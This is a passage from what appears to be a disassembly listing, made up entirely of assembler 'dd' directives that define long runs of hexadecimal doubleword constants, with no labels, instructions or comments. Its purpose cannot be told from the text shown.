		dd 601EF65h, 5C243C87h,	6896032Fh, 18786AD7h, 2102C62h
		dd 0F52B03h, 2B4A612Fh,	0E5C10029h, 0DDBE5606h,	3800463Ah
		dd 815EF531h, 0F1B09EDh, 73686C96h, 16D62F3Ch, 541F6878h
		dd 198F3721h, 6A8B0841h, 81E6E856h, 8318C650h, 34870CC5h
		dd 520EC8FAh, 81E28908h, 22D06EC2h, 0F0650014h,	0F723FFFAh
		dd 960043EEh, 0C678281h, 0B4FEF7Fh, 8E25B8BDh, 9B1998F5h
		dd 15941C5Eh, 1416002Ah, 430B0C7Bh, 357DB700h, 878F712Dh
		dd 0E8FA7F7Ah, 3ED91D52h, 9CB8009Ah, 0DBBA25A2h, 7F239h
		dd 673DB9D5h, 6939A8h, 2945B2BCh, 2BD1967Bh, 8DB1100h
		dd 5215D96Ch, 0C1E5003Ah, 0F1390F3Ch, 9AB703B0h, 408FD493h
		dd 3307D993h, 60ADB62Eh, 0A4B55402h, 9A44DD01h,	51905F27h
		dd 72C42FDFh, 17513600h, 0D0580C32h, 0C2BF095Ah, 0B9D550ACh
		dd 283D9088h, 0A300D3B8h, 0AB9AAC8Eh, 2FBD8B0Ah, 0BD5534B5h
		dd 0C56F8611h, 0C1234C23h, 0B24D2529h, 5DE0C445h, 0F6FE4A90h
		dd 2756F09Eh, 8E44B5FBh, 0D9008E77h, 3293215Fh,	5AEC550h
		dd 8BD77B8Ah, 0BD8BCFAh, 0D27D8D29h, 0EA524A71h, 5BB88324h
		dd 43FD1980h, 884C03EFh, 5F58166Fh, 9D6BC8EFh, 2224415Fh
		dd 1F7EA6FBh, 7B2DC0C2h, 0F13F78BEh, 6168DCB7h,	105658Dh
		dd 306F24B3h, 0BA6660C1h, 12AAF4Ch, 0AA6BD4C2h,	0A73E6153h
		dd 416A5AB0h, 40CE2B1Eh, 0E459D06Dh, 909FFEA5h,	5E64E10h
		dd 0AC148B27h, 236FCF8h, 315FD09Fh, 32A25595h, 0F65DD1FFh
		dd 0F37E2F31h, 0B2ED25Ah, 6919D03h, 0F0957E7Ah,	61FAB5B7h
		dd 8B396071h, 0D3F128C7h, 70FE885Eh, 6B0EE677h,	723CD100h
		dd 5758D95Ah, 61642D8Bh, 2901315Dh, 0D6E98389h,	207E1CF5h
		dd 0F28090F3h, 6FB71E69h, 314F40A2h, 0BC1D7E9Ah, 89C2ECA0h
		dd 5D0F75BDh, 91BBB45Bh, 315113E9h, 375FFAA5h, 3A442798h
		dd 81945397h, 0DA5A7AE7h, 9BA66E6Ah, 0E04C18E2h, 398DB305h
		dd 0AC05A3ABh, 0A2EA0A35h, 81B992FDh, 0BB0911A8h, 0F76ABDFDh
		dd 0ADC41C6Dh, 0EE55558Ch, 9E4A0908h, 0CE02759Fh, 0C4560915h
		dd 99C45725h, 0A85BCF7Ch, 40225ED8h, 832D0F01h,	924E0Dh
		dd 0A2DA8C02h, 5FECB0C6h, 39A06EE7h, 57E5AAB1h,	74022F45h
		dd 6170E663h, 9254B541h, 0C4E990BAh, 795EC720h,	486EDAA1h
		dd 0B8B1E17Ah, 166FE303h, 21F7B07Ch, 847CB2B7h,	8B41DD2Fh
		dd 3AE2B7C1h, 43D178C8h, 63B84A1Eh, 4E51FCD2h, 398604AAh
		dd 0B531210Eh, 3453A97Ah, 16AB319Bh, 3E81FC3Ch,	142249h
		dd 0FA5806F0h, 0F42B6AEAh, 0F21C2500h, 0EDD2A429h, 2D2E79E7h
		dd 86E28CBEh, 29619F7Ch, 0A23E4995h, 0DDF85A68h, 0D154AA4Fh
		dd 0BF5680F8h, 0A650AB8h, 52E95B1Fh, 0E7EF63AFh, 0C78ABC8Dh
		dd 0B20F780h, 0B72911BDh, 15358DB1h, 818087B9h,	2F86C9D7h
		dd 728888B7h, 39001391h, 63E001A6h, 3F9080ECh, 0AE518F01h
		dd 306CC51Eh, 3A9078F4h, 19B836BBh, 929FD95Bh, 6FBAFEF0h
		dd 0B4660106h, 1315CB9Fh, 2DE15924h, 42736AACh,	4911D6AFh
		dd 6F5D14A9h, 0A5C14029h, 5E053289h, 1074B958h,	0CDB7AEEh
		dd 0A060590Ch, 301E41C1h, 3EF96516h, 0A2DF1123h, 0E8585D0Dh
		dd 0B9B2D873h, 7C3E8B95h, 912FF401h, 200FC6BAh,	660B2665h
		dd 79E795BBh, 903EA79h,	7EF634A1h, 0BF8800F4h, 9F694720h
		dd 0F7EE5E56h, 5B5B513Dh, 9EBF8FC4h, 0BA418066h, 5AAE9F31h
		dd 0B286B63Ch, 0B6B301Ch, 4C09DB73h, 713175AAh,	3A13809Fh
		dd 7C54424Dh, 0A4EFCE00h, 5310EA88h, 61E8A057h,	5B5F8007h
		dd 0A8E38016h, 17B2BBF6h, 0F9CCC631h, 0F0B72D07h, 5E69B2E5h
		dd 0C35E6924h, 2C42E0C0h, 0DC539467h, 98CA685Bh, 0A33B3541h
		dd 0DFE400BCh, 3191E110h, 92B0B7A4h, 26852149h,	0D304DE8Eh
		dd 0F837C740h, 0C58069ECh, 42AF8BC0h, 0C4726E00h, 66A965F0h
		dd 6D573EAAh, 0FF5FF984h, 0B8C6ADE1h, 2815165Eh, 7B94F20Eh
		dd 119A9205h, 0B2EB3FEAh, 0FC341669h, 1085CAF2h, 0E27ABE04h
		dd 7C3AC007h, 27E2EEF4h, 895E2BC5h, 38EB1513h, 35EF4D4h
		dd 3DA17AB7h, 0DDB22E18h, 3A4893CDh, 0C4B8E8A9h, 5B27F600h
		dd 8BB3E846h, 0BB530EFEh, 0FE3C4563h, 0DE8A600Bh, 845CBDF5h
		dd 5211E99Fh, 687802FEh, 0E4DE5B92h, 891CE591h,	0EB085385h
		dd 428DA02Ch, 0D1E962Dh, 6F7850A5h, 2489E8F8h, 0FF70F6DBh
		dd 0E710D43h, 8942487Ch, 0F5345AA6h, 119D7096h,	0FC2ED27Dh
		dd 0F19AC907h, 1E0511E9h, 0C0B8942h, 950570E1h,	0E2ADD8FCh
		dd 3B307559h, 0BF0558F9h, 2A3BB101h, 0BDA098AFh, 0EE156D2Dh
		dd 47E951E2h, 1F8CE67Bh, 2A8E11A1h, 6FAA1602h, 363877h
		dd 6AA8FF98h, 4F50EBE1h, 8247ED64h, 283D95h, 0AE6FE381h
		dd 0D57EF42Dh, 6FBD3519h, 0E7EF08D5h, 3593F0E2h, 0C81207C7h
		dd 3AE6F253h, 1255A78Ch, 577B7F22h, 2ADEB9D3h, 1A80883Ch
		dd 7F0BFF31h, 141B5401h, 0B4F1273Ch, 2ACB6C0h, 8EAEBBA2h
		dd 0FBDE20E2h, 0B9666060h, 297B059Ch, 0D12CD18Dh, 7B068922h
		dd 0F1CEC19Bh, 0B4C9188Fh, 0F2523B75h, 95984C78h, 0ED1FA759h
		dd 58011757h, 0B5723902h, 0F854F9C8h, 3B6D3F29h, 160A584h
		dd 9E90FABDh, 9D61C68Bh, 0FE50EEC9h, 0A52D6546h, 955032h
		dd 0BB58D78Bh, 559F064Ch, 0F99E5997h, 0E9181Dh,	8AB8C973h
		dd 9A7E50C5h, 17C03548h, 3A1209Ch, 0B081F76Bh, 504BA031h
		dd 48DA95E7h, 0FBB5E9F2h
		dd 8A65F237h, 0A8A0BEF8h, 0D6964254h, 0DDE614C0h, 0F2504E4Dh
		dd 83068832h, 36E594E8h, 0A977C3A2h, 93A14231h,	0CB81D0F9h
		dd 0F56E0A3Ch, 3EE873h,	0FC246434h, 0E40080E9h,	96A0C692h
		dd 1F903950h, 0D3EDD1AAh, 2021BC27h, 8C5B5E18h,	0E72D8027h
		dd 0BEE2E0C9h, 0B553ECA8h, 0D8098991h, 0E00AD2Bh, 362576E0h
		dd 72E59928h, 4E1904F9h, 0D4615BB3h, 564298A8h,	0EBA50D7h
		dd 0B6575F86h, 0C0FBE2C1h, 0B7F59D2Ah, 90B5B696h, 16CE65h
		dd 8DAE5E10h, 0A25B1306h, 0D0EF8103h, 0C40D68ECh, 0BF4368EFh
		dd 5A2171F2h, 0EB808413h, 5B6FAA3h, 0BF8F02FAh,	40D03DA1h
		dd 98D7BD77h, 0BA415E8Fh, 4585C62Ch, 91B13077h,	52CE075Bh
		dd 81276430h, 0B63D9BDFh, 148ADBDEh, 0B598AEA5h, 17B6B8B7h
		dd 0EA1ED9BDh, 1B89279Bh, 3FACFC31h, 0B22A0399h, 4C047501h
		dd 895D8A20h, 0F7FF9A84h, 3CB85AFBh, 38EE9D71h,	855FBDE8h
		dd 0DF6460BEh, 41E22981h, 6FA8AA07h, 80F0CDA1h,	5E79C5ADh
		dd 5B2BB0D4h, 0B2BF9601h, 504A382Ah, 0A3ED77DEh, 27B8F9E6h
		dd 105B09D5h, 0FAC38180h, 0B76EA8E1h, 9F4064DCh, 323F73Eh
		dd 2AA7B85Ch, 0D9AACE4Fh, 7D1612FFh, 9D13374Ch,	60BA2551h
		dd 439360CEh, 0C100B1F6h, 9C869EB3h, 25CAB0D4h,	0B0D55CE4h
		dd 46DCE34Bh, 91CC5A8Ch, 3D9D2F23h, 0B479451h, 0DC0FC1C2h
		dd 8BDBCB54h, 1666DF52h, 60611877h, 0E587E894h,	2BC060DAh
		dd 77F1679Dh, 0C6AB1B61h, 0D19B6D58h, 0A8CF278h, 2CC835AAh
		dd 109509A1h, 2F2C6575h, 0E8531D5Bh, 2CE054BBh,	1C8C4DDFh
		dd 79C6AD59h, 5B1AB7FEh, 8260130Ah, 451925E6h, 9D030F0Eh
		dd 99D42D4Bh, 0DD0B29E5h, 0CC305533h, 7B14110Dh, 2FC0B754h
		dd 3B0EF496h, 29091DBBh, 162B559Dh, 1B592553h, 310F4918h
		dd 84335ACCh, 60EE5925h, 0F2CF81B6h, 0E7CAC75Ah, 24C03A22h
		dd 50E898F7h, 454B5CB3h, 0F0E4A64Ah, 9D076A1Eh,	5D7F5BF0h
		dd 0CA188482h, 2775B981h, 0C18FAD2Eh, 1F6D9D33h, 0EAD0756Bh
		dd 55048422h, 8692EFCh,	5F45B974h, 0A021CABBh, 7E281C1Bh
		dd 0E8DEBD0Fh, 9AEA3013h, 2B158AE7h, 0BB410B40h, 0DAE81612h
		dd 8BBDB22Ah, 80FF532Ch, 0A7F8EB09h, 710075EAh,	5D79DCA8h
		dd 5B92B25h, 42C90DDAh,	0C4C6AC78h, 0D2AB9D31h,	0E798C6DDh
		dd 9EB56FAAh, 0D439BCAFh, 69164904h, 0F2820758h, 4309E2F5h
		dd 89AE8C79h, 0B8BF3941h, 27C89049h, 0AEDC2CD0h, 0E001BA1Ch
		dd 0EA81F00Eh, 654C2BBBh, 7B50B85Eh, 0F9BFF5B6h, 6A1E0D98h
		dd 746DFE9Eh, 0C67CE9D6h, 580605E8h, 601AC22Bh,	3881C3F0h
		dd 7D975A4Dh, 50B7A198h, 0D0033C07h, 45663A81h,	0AF845C19h
		dd 100A2D8Eh, 0F9D992E1h, 0DEC825D4h, 0C1410A8h, 4F3C4003h
		dd 0D0C2DF06h, 0FA8B3C1Fh, 0BD1912C8h, 1C5BF836h, 0D1030C18h
		dd 0DE071D20h, 1208D84Dh, 648025B9h, 12EEA68Fh,	3104C483h
		dd 308B5127h, 811410B8h, 6114B0A9h, 0C03359B5h,	0B960C03Fh
		dd 7084F929h, 0D45D8224h, 0D2686025h, 0D44A9AA7h, 5125DAFAh
		dd 8208A003h, 0EB211D32h, 4A51D3h, 0A442FD3Eh, 0DB026E7Dh
		dd 0F2AEE6Ch, 816A648Fh, 0F21415C3h, 771C7582h,	6840164Ch
		dd 5E6D8AD0h, 25C50061h, 5A5B44C3h, 0C21281F9h,	0EBD06B0Ch
		dd 0A0B8E96Dh, 0FD9807Bh, 1034FF11h, 9B6BEE1h, 0CD455Fh
		dd 0E2EBF736h, 519F3927h, 1DBE81F9h, 817A7404h,	528B9122h
		dd 0EFDCF86Eh, 98571D1Bh, 3C89C713h, 83CEE002h,	8ADE04E8h
		dd 0C9578C9h, 0EBC1D009h, 0FF820D96h, 0D1205A30h, 0B8D07D2h
		dd 623463E4h, 0A2C0839Dh, 39015DA6h, 0C3612AEBh, 3ED040F5h
		dd 0C6400EDh, 0DCB8173h, 25FCE912h, 217908CCh, 73140001h
		dd 23315E1Ch, 0A60E19B8h, 9FCE2A05h, 214EE440h,	1D44EDAEh
		dd 30D18D50h, 5BC1D238h, 0DC0040DFh, 6E62A89Dh,	5038DD34h
		dd 44616031h, 60A885DEh, 9EE2201Fh, 0AF801702h,	186D244Dh
		dd 0F26806BCh, 4539C04Ah, 0D1CC28CAh, 3EEDA806h, 3483279h
		dd 81831E61h, 6FD08903h, 0A93AB165h, 21063060h,	819BF4h
		dd 0B62BE955h, 4C680F98h, 0E17589C3h, 3A290031h, 84604376h
		dd 98C079F0h, 257C8356h, 304E00EBh, 3AC61A27h, 0C10EA710h
		dd 80BECF43h, 0F672CD42h, 0FA5600FEh, 2563E508h, 0D2003B8Ch
		dd 0DD4E823Eh, 0E86EA4h, 493A95EBh, 1AE0C342h, 99D2F900h
		dd 860711BCh, 3BA5F2B0h, 0EC805DDCh, 0CE137572h, 20002B70h
		dd 0D412AD25h, 93D34Ah,	0F2F759E7h, 31DF8301h, 6DA17C00h
		dd 7DB65682h, 40E50085h, 9C1473A8h, 4A005280h, 0EBD5EA37h
		dd 0CA9F62h, 7489B8D6h,	0DFCC642Ch, 60BA7D00h, 22218D97h
		dd 36C500DBh, 14F0DDB6h, 0E900C477h, 0E7B2C0A7h, 1F3C4CD3h
		dd 0DC95C5h, 0DBBEA050h, 0C371A18Bh, 1469600h, 0EE253062h
		dd 6D0933C7h, 21008208h, 0C01594Fh, 1DFB32Fh, 0E134098Eh
		dd 0E81C31B1h, 0AC06A1A2h, 8FC9440Eh, 32BE0060h, 0B109C3C2h
		dd 0AE31A2AFh, 0A1A52092h, 5942B603h, 3083E244h, 3C38C80Dh
		dd 0E8B31F3Bh, 0FCA78E3Bh, 920470CBh, 1F80D12Ch, 0A33F1C06h
		dd 3EF61818h, 0FA2C498Ah, 0C5BBA3Ah, 888106E5h,	0D53418C6h
		dd 0E133389Bh, 0AFD72913h, 0DDBBFB00h, 0C973F1h, 329BE6CEh
		dd 0B4519834h, 102B3Dh,	0E5ECCFADh, 9B5E4C8h, 7F2EE157h
		dd 803FB804h, 0B813F43Fh, 8169A03Ch, 12C827B7h,	0A2F098AAh
		dd 0C37235h, 14194539h,	4B7B6A95h, 0F1E27EF4h, 1F5FEC03h
		dd 8FDC94ADh, 22034450h, 0D311241h, 1B03ABCFh, 0B0F1ED75h
		dd 551EEDFh, 41C43C60h,	0D451C010h, 0C00032B0h,	0C26AB43h
		dd 3CD5E16Ch, 0E280616Dh, 0EF079D38h, 338957Dh,	856803Bh
		dd 2422695Ch, 31BF22Ah,	684A6F4h, 878F321Fh, 63A5C738h
		dd 2DA88E40h, 0AC0053E1h, 3C235F46h, 0F1F280D5h, 1083C121h
		dd 0E4B7F89Ah, 8C513806h, 18185B22h, 60C162A3h,	0D0E37983h
		dd 953EB468h, 3A8D06BAh, 0F812169h, 0F85C50B1h,	40B8D700h
		dd 75006B10h, 0CA16B9E5h, 3FFAA8E4h, 78788Ch, 0A6024F59h
		dd 0E3B0748Dh, 6C7EC000h, 0BB0E50CDh, 0EEEA9033h, 32090010h
		dd 59DD9225h, 0BE1D5472h, 0BCC03824h, 4A2D2E73h, 14B518E2h
		dd 0DE4C2825h, 645C5E00h, 0D9B88A20h, 0DFF40082h, 0BC9FD24Bh
		dd 7A0060CFh, 0C56EAFDEh, 55D645Eh, 0ED0503D5h,	0D11E8354h
		dd 4DFC4077h, 0DE7E8A00h, 5136872Fh, 108F6149h,	0F099E1CFh
		dd 6104413Dh, 9F2D4675h, 0EBE2E80h, 74B00031h, 0A782DE7Dh
		dd 5E046AC6h, 0CCE8686Eh, 6D99083h, 0E6B7EA1h, 15002053h
		dd 8FE7A86Ch, 0DD2E36BAh, 4FB88058h, 24DEDF97h,	5F6AFD00h
		dd 0E0863FC8h, 0FEBA18D7h, 0BD97813Bh, 0A4DE19C0h, 3036D1CAh
		dd 1768F465h, 5D3C0D59h, 7067964h, 74586235h, 0C35E0010h
		dd 20E76B05h, 0DD05C80Ah, 0D393B986h, 0CFFCDC00h, 6029484h
		dd 4A996326h, 0FD007022h, 0F4675DC5h, 0CA2920h,	0ACAED6D5h
		dd 0F99B9CD9h, 0E23D0FEAh, 1D883CCh, 0E0A3097Ah, 4534647h
		dd 71022DEDh, 8BBC0C3h,	700594E8h, 97CA49E5h, 4FF3C206h
		dd 21876008h, 12E578B1h, 0ACD3D002h, 603F7AF1h,	0C764CCh
		dd 2A920314h, 0C2FFA027h, 71F00700h, 74EB2D97h,	4D090D85h
		dd 0E1480FABh, 0DDACF033h, 7FF49A74h, 8658233h,	4C21003Eh
		dd 0FD7AAC72h, 6230639Dh, 8930B03Fh, 7BDF180Ch,	9D132909h
		dd 449BB318h, 30D97820h, 42E811B0h, 25E485EBh, 0E81380C0h
		dd 73773446h, 0F9F0CA3h
		dd 31082C8Bh, 5C6549C7h, 2F0869D0h, 0A49A0CDEh,	0E8D071EFh
		dd 0C0FEC239h, 0E6C90040h, 9209022Ch, 78C03457h, 0F23AD3CCh
		dd 28273C89h, 780B007Bh, 0DC257032h, 1139F7F6h,	1801F27Dh
		dd 0EC6EF9E2h, 2EF5E023h, 444FFCh, 0E3FC110Bh, 34FE8FB3h
		dd 31972F00h, 0DB989A64h, 462900F0h, 3F8EFBF4h,	6A00098Ch
		dd 6F452F6Bh, 19476F2h,	0BF389C2Eh, 0D0B03B27h,	470033E9h
		dd 0B660BD7Ah, 79B928Eh, 30D95C07h, 0F0591026h,	0F9003A44h
		dd 8F82BFA0h, 743CE55h,	0C97D01F3h, 7C3BF087h, 0DAE472DBh
		dd 0D301F47Eh, 0C4B9EDD8h, 74D0C2F6h, 3AE170B3h, 0D0744A4h
		dd 40C8EF8Bh, 3558CE45h, 164E431Fh, 0B52FBB80h,	1F3E4DB6h
		dd 422593h, 0F848B2Ch, 3D1E0B7Ch, 0AF072B53h, 980789Fh
		dd 3073B36h, 1AE14E4Ch,	617AEA10h, 2B516700h, 0E5DE449h
		dd 965300CEh, 0D114E3Eh, 0D400A7D6h, 357B8154h,	5448B0Ch
		dd 0CE0F08CFh, 0A3140083h, 52417907h, 72D4810Fh, 78E62C9Bh
		dd 0AD040C91h, 0ED18389h, 0C4311CA4h, 0D4CB19BAh, 6090C083h
		dd 98EE0B72h, 4C065342h, 0E8236F1Eh, 98C9661Ah,	115C1521h
		dd 0A1140006h, 4E2AD278h, 0FF1D0191h, 4B04B824h, 0E120800Fh
		dd 0B2C4B44Dh, 0CF9C1D0Dh, 484C0074h, 0F611E4B6h, 0B11CA96Ch
		dd 2E5600B8h, 0B07DF435h, 0D90064AEh, 0D44AA111h, 0C74363Eh
		dd 89C4E143h, 0A43B6431h, 0A2F8FEE2h, 483E40E2h, 45A00072h
		dd 0DCB47469h, 9DCD0CAEh, 2E7973CFh, 1DE69EECh,	552770Ah
		dd 361FA0C4h, 0A32C0AA2h, 986FABh, 0EBB6BE0Ch, 6260BDEDh
		dd 22B04544h, 615B0047h, 0A2DB90E2h, 79C07A88h,	68C33E0Eh
		dd 0B449C839h, 6159B180h, 0FF1D87C4h, 0C1809AD1h, 739C11A7h
		dd 0F2005E35h, 8C16AD4Bh, 7E447BAh, 1503E68Fh, 74F6101Dh
		dd 29F6E560h, 0EA0138C0h, 49CA448Ch, 737638FCh,	598A60A2h
		dd 0E6197210h, 0D1EFBD00h, 0BA8711BCh, 70F6171Ah, 0FB51D60h
		dd 0A98794F5h, 44D08163h, 9872C45Fh, 47C651C0h,	9A55B2h
		dd 9D6A9457h, 0BA379169h, 0A596400h, 803E3A72h,	0B32809D2h
		dd 4C00BC2Fh, 0A0671BDBh, 0E44A6300h, 2E41909Ah, 99BF309Bh
		dd 0E33E1120h, 98E948h,	0BCD7C460h, 0C105C29h, 4224E71Eh
		dd 1B20CC18h, 3E120CBBh, 5431ED77h, 7D65D212h, 0A572444h
		dd 77234902h, 79710C40h, 0AE619100h, 0A8FDAC7Dh, 90340039h
		dd 671A777Ah, 4B00A630h, 29F373E4h, 1789D4Fh, 90AC487Eh
		dd 0D4ECA291h, 530CDBC4h, 893CC8Ah, 204F6094h, 0D3ECEAB2h
		dd 0E4017E00h, 9712DB16h, 57C5039Eh, 67DC90E5h,	48712800h
		dd 0D332A00Ch, 0EDDF064Eh, 8B72F53h, 6F21F760h,	7AC32D8h
		dd 219201Bh, 8977B610h,	3D1FB398h, 8C1F1D43h, 0A7686A40h
		dd 35D34574h, 50408AC6h, 9580383Ch, 0E74EF432h,	0F5229743h
		dd 32CEBE00h, 437E3536h, 3396011Ah, 2D418691h, 0BF26CCF0h
		dd 80485B3Bh, 97928824h, 2087714Dh, 0AC26BC70h,	670C3D10h
		dd 3E3114Ch, 6EA6EF3Bh,	3799A275h, 6218A870h, 0A967EA37h
		dd 1AC7B080h, 0DD1128B4h, 8D0933BBh, 21009D08h,	891A8FCAh
		dd 0F8D52B9Fh, 0DFC13F4Bh, 87A2F08Ch, 4100CFE1h, 4C953770h
		dd 0D910ECh, 0BFE00DBAh, 862B6F40h, 0CA813F0Ch,	0A83149h
		dd 0DFD9A2F6h, 4B4FF7CFh, 0CAD26600h, 42E0C9FFh, 901C01B6h
		dd 3453C44Ch, 0F20422D7h, 619A3099h, 0A9FC8B00h, 904C82Bh
		dd 0D8D740E1h, 32C43E8Ch, 0CCFF4E15h, 0B380DB88h, 8A3A32DDh
		dd 0A71C0060h, 50B69D99h, 0F60B41C4h, 80B88EBCh, 2C244530h
		dd 0FECCA0B5h, 870A1D0Fh, 4969B0C3h, 0EA0E99BBh, 0EF13ADF0h
		dd 0DF2360C9h, 11C494h,	41E3E0CCh, 0DB44AE4Ch, 0AFE17503h
		dd 765A9CEh, 4B996841h,	948200D3h, 0B36EC94Dh, 8E21D808h
		dd 114B00A1h, 437C5680h, 3238D037h, 0EC5D0093h,	0B1ADF14Ah
		dd 3CFB3F10h, 805668E0h, 0AB15F6BBh, 69CC4F4h, 0A6B53572h
		dd 482D38D0h, 0DDAF29F9h, 4B9A0744h, 62CA04D4h,	208D269Dh
		dd 2E606E00h, 5ECFBC66h, 0CC420A73h, 1EA8932Ah,	4AE1CA27h
		dd 88F60394h, 20FC87D6h, 40A873A1h, 90A8BEEh, 40A0AFE0h
		dd 0D94BB741h, 0B518B2C1h, 9F8888h, 0B781AE4Bh,	0D3863311h
		dd 12D96200h, 0CD5710FEh, 300B03F6h, 37091E4Fh,	0B8806EE7h
		dd 0CACB871Fh, 83738612h, 14987C50h, 0FCCE203h,	0B87B42E5h
		dd 1F341198h, 11400A87h, 644809B0h, 0CEB02074h,	1F2533ECh
		dd 403B9FE6h, 21630D75h, 0F700CA88h, 1D503798h,	60A4E906h
		dd 253C4183h, 1700B191h, 1811683Bh, 1834F5B7h, 8136DE65h
		dd 14006AD6h, 0DAFD08ADh, 26E2885Dh, 3D4ECCh, 3046254Ch
		dd 0B97AAC63h, 0F4075800h, 0FD87420Ah, 30BDEE7Dh, 0F5406B8Bh
		dd 0A760BBC4h, 0F4E84358h, 7D4F02A8h, 0E40FF617h, 0F4E49465h
		dd 0D4AD3060h, 0E4E2DA13h, 23037C6Eh, 2B3AAD84h, 0C8FA15A0h
		dd 91107D00h, 3E13E52Ah, 1DD603AEh, 4D966994h, 0F447A804h
		dd 0B89053C8h, 0A2BA0EB4h, 422A6084h, 3DD214DAh, 903CD84Fh
		dd 0DB9C01F2h, 8BA60FCAh, 5D4454Dh, 22660BCh, 0F772E5E4h
		dd 37AA43E0h, 0B7AD0E01h, 0DDBF340Bh, 5480020h,	0EA818F80h
		dd 0FA2038D7h, 9E007B46h, 0F4770ACCh, 2F1FD981h, 0B500A261h
		dd 63653113h, 0A0416004h, 1046CA9Eh, 0E0591C12h, 9D23FC2Fh
		dd 4409C200h, 0D42695Bh, 5AB3F4A9h, 0A29C2320h,	0C2FD309Dh
		dd 9A151C14h, 0B2384CA8h, 0C8B1209Fh, 289826CCh, 8BF36118h
		dd 0E8F69718h, 8AAF326Fh, 0D1309A80h, 0C4A316ECh, 0BFE038E3h
		dd 0F9ECD900h, 729FD8F2h, 5A380AC9h, 944360h, 0D9822B4Ch
		dd 0CC48C0D0h, 1B753D96h, 0F8919264h, 3A0A3CEh,	9BCCD1D6h
		dd 0FE82BEC2h, 600FC481h, 3CC8F21Dh, 401F5F76h,	8026F76Bh
		dd 6081C538h, 37CB62E1h, 0C23883A0h, 4DBACDA8h,	0F9BC4421h
		dd 0A6CD2D12h, 2114B000h, 984C736Bh, 553FA40h, 0D3468AAAh
		dd 47C891BCh, 4499CD24h, 575CC0B8h, 4C98D1E2h, 10BD44h
		dd 0CB2F797Bh, 0CDAB607Fh, 0CA719564h, 78488481h, 0AC6148E3h
		dd 8C03326h, 542690C4h,	69E4C08h, 18AD76A8h, 89AFB61Fh
		dd 90088E16h, 3296C0DEh, 0CF214ED1h, 0C0B167EDh, 8DBFDF32h
		dd 59999507h, 9E70F4A0h, 0FBF0C413h, 0CD8A020h,	0D640112Fh
		dd 563D8C8Ch, 4F6857Bh,	880268ADh, 64A82379h, 37DC00E4h
		dd 1EE29703h, 9100E78Ah, 0FD496452h, 0AD9CB86h,	0C8A97498h
		dd 4B0B88E0h, 0E750CC00h, 54FE2E8h, 342B8B2Fh, 5BB01FADh
		dd 45F7B1C1h, 0A170208Fh, 4E23D032h, 0F511C7h, 0D432C56Ah
		dd 184D30Fh, 64F122F9h,	8A3E17CBh, 0E0C29860h, 1E031C11h
		dd 44AB7003h, 2BAC72FCh, 60D9C004h, 23B11AD4h, 84118511h
		dd 1ADCC907h, 4044759Ch, 729974F4h, 8A001D18h, 871B0E56h
		dd 3DDE526Bh, 0A90617CFh, 41947381h, 8F791339h,	14BCB56h
		dd 96C890ECh, 6C71C472h, 0C4101818h, 597D1414h,	3C4503C8h
		dd 0B0663268h, 49CF60D0h, 0F4095089h, 0C4826E20h, 1C414E33h
		dd 0DA5870F3h, 4BB51C8Ch, 38A216C7h, 9D009AD4h,	8C3C634Bh
		dd 17D58Bh, 65685177h, 0A353131Eh, 0FC747324h, 8DCCF581h
		dd 12C44C18h, 4D107867h, 0F700CC2Ch, 0B12BD80Eh, 0C77D1B80h
		dd 0CD90EF06h, 2A68AFB4h, 1CE4F360h, 80326F5Fh,	813678A9h
		dd 90AB8E2Bh, 0ACAC4FFAh, 4300D4CEh, 738AFF7Dh,	0F1D22F4h
		dd 2369A496h, 99A108A0h, 674CB910h, 9184210Ch, 0EC429E9Ch
		dd 1C93C4A9h, 0ECDFB101h
		dd 0BCE984BFh, 102081E9h, 34138839h, 0AC985371h, 7BF4D148h
		dd 9C707B64h, 5E063B43h, 0F0DB4EE1h, 81EB1CF4h,	63D22718h
		dd 0F840231Fh, 0BB937Ah, 6B90911h, 38C887ADh, 56A88CA8h
		dd 0D7007273h, 122B88A4h, 0ECCE919h, 44F8F177h,	2CF020B2h
		dd 0AD488645h, 0F74A0E20h, 84C8E40Dh, 0EDBD0140h, 0AD77F149h
		dd 38A18060h, 0B15324E3h, 189ED100h, 7F2417B6h,	63D40039h
		dd 6046C327h, 252028F5h, 11E017E2h, 613680F5h, 3902C16Bh
		dd 0B698C3E1h, 3C4121D6h, 0F06060F8h, 6F6D3211h, 748B008Eh
		dd 0DF388280h, 5F257083h, 119C97FDh, 4762808Fh,	134EE529h
		dd 19009CCh, 0CEB4C4BCh, 2BB42031h, 24C5F40Eh, 8539C078h
		dd 7EFE9EA3h, 93B0245Ah, 6B30080h, 0BB75610Bh, 1134E5Ch
		dd 0D1F20EFEh, 0D420FDF8h, 79BD015Dh, 0A104C44Ch, 25588015h
		dd 0AD60FE46h, 0D66D127Bh, 0A72C0486h, 0A29C80F1h, 3812B1CFh
		dd 34103F47h, 4A8910E4h, 849E909h, 4FDBAC82h, 0BC6424EFh
		dd 22C2BCC2h, 8CA09B67h, 27DE1BAh, 0E8363F00h, 663C0605h
		dd 3A4B869h, 0A01311A8h, 34F245BCh, 0AE002864h,	0D7B75A56h
		dd 94A81978h, 9A8A809Ch, 2393ED5h, 8317863Bh, 48C8B06Fh
		dd 23E802C7h, 44C4121Eh, 0B100B058h, 0ABFE0225h, 4C08242Ch
		dd 710B703Bh, 0F894C67Dh, 0EA046172h, 65395344h, 2D011091h
		dd 4C349CE5h, 7FFD1314h, 1F440242h, 3C53D9ACh, 20439E90h
		dd 0E1E4DAC8h, 0E8E778B2h, 50B5C1CFh, 0FC2061D4h, 0BB10162Dh
		dd 23742FE5h, 679500DBh, 0D3E56554h, 159C2C02h,	0E3C42FB7h
		dd 0BA290E34h, 0D0633F37h, 3C90EE66h, 0E6004CD4h, 12DA8589h
		dd 28341C1Eh, 12A4F3F7h, 0C0516EA9h, 31FB778Ch,	533CC4B1h
		dd 8861A004h, 0E610C03Fh, 687C66EBh, 8A016BEAh,	7E07E7B7h
		dd 4DE0D772h, 1EC00798h, 20DBE8AFh, 0A6ED6C0Ch,	4A141800h
		dd 3386B79Eh, 0E4FA0085h, 8BAE413Ah, 190E5B59h,	0C014C50Fh
		dd 74C9BAE9h, 0B6290017h, 1B9BA6B3h, 3B2C693Ch,	0D4017588h
		dd 0EF3FC137h, 0B1B8FCh, 2E1BC643h, 91219F49h, 0BC3D9000h
		dd 3383737Eh, 0E02C00A9h, 8D8F92BBh, 500FC68h, 1810C916h
		dd 7817ED2Ah, 0C77800E1h, 8836C12Fh, 400BCAEh, 0A01FCE2Ch
		dd 1FA2BDD2h, 0C1AC980Eh, 0E80969D4h, 0B2908702h, 12203105h
		dd 3B3E954h, 291A3FC0h,	0C8C85070h, 213D1D83h, 0AD7A80F6h
